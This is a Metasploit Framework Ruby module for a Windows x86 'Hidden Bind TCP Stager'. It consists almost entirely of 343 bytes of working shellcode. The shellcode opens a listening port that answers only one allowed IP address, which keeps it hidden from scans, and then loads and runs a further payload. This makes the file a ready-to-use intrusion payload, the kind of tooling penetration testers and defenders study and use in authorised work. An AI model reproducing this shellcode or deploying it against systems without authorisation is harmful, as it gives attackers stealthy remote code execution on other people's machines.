##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 343

  include Msf::Payload::Stager
  include Msf::Payload::Windows


  def self.handler_type_alias
    "bind_hidden_tcp"
  end

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Hidden Bind TCP Stager',
      'Description'   => 'Listen for a connection from a hidden port and spawn a command shell to the allowed host.',
      'Author'        =>
        [
          'hdm',        # original payload module (stager bind_tcp)
          'skape',      # original payload module (stager bind_tcp)
          'sf',         # original payload module (stager bind_tcp)
          'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden ACL functionality
        ],
      'License'       => MSF_LICENSE,
      'References'    => [['URL', 'http://www.shelliscoming.com/2014/03/hidden-bind-shell-keep-your-shellcode.html']],
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Convention'    => 'sockedi',
      'Stager'        =>
        {
          'RequiresMidstager' => false,
          'Offsets' =>
            {
              'LPORT'    => [ 193, 'n' ],
              'AHOST'    => [ 255, 'ADDR' ]
            },
          'Payload' =>
            # Length: 343 bytes
            "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
            "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
            "\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
            "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
            "\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
            "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
            "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
            "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
            "\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
            "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
            "\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
            "\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
            "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
            "\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
            "\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
            "\x17\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
            "\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2\x20\x00\x53\x53\x57\x68\x94" +
            "\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
            "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
            "\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
            "\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
            "\x01\xc3\x29\xc6\x75\xee\xc3"
        }
      ))

    register_options([
      OptAddress.new('AHOST', [true, "IP address allowed", nil])
    ])
  end
end
